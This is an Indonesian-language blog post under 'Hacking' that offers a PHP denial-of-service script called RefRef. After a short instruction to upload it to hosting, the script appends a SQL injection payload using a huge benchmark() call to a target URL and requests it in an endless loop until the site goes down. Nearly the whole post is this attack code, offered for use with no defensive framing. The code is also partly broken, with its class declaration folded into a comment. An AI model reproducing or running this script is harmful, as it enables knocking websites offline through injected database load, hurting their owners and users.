Refref DDOS dengan PHP

cara nya ..upload ke hosting dan cara pemakainya harus ada vuln nya..coba2 aja ..tanpa vuln

<?/*

     * INDONESIA CYBER FIGHTER

     * coder : IFC

     * modificated from : RefRef (C) IFC 2013

     * regards : IFC

    */

        @set_time_limit(0);

        @error_reporting(0);

        ini_set('memory_limit', '128M');

    if(!($argv[1]))

    {

       echo "cara penggunaan : php ".$argv[0]." http://target.com/index.php?id=1 \n";

    }

    else

    {

      $injek = "+and+(select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))";

      $url = $argv[1].$injek;

      echo "target : ".$argv[1]."\n";

      echo " injek : ".$url."\n\n\n";

      echo "memulai penyerangan, harap tunggu.....\n\n";

      while(1==1)

      {

         $buka = new cURL;

         $homepage = $buka->open($url);

         if(!$homepage)

         {

             echo "target mungkin sudah down, silahkan cek manual !!! \n";

             end();

         }

      }

    }

    //kelas curlclass cURL {

        var $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)";

        function open($url) {

            $ch = curl_init($url);

            curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

            curl_setopt($ch, CURLOPT_TIMEOUT, 30);

            $source = curl_exec($ch);

            curl_close($ch);

            return $source;

        }

    }

    ?>

Posted in: Hacking,Jaringan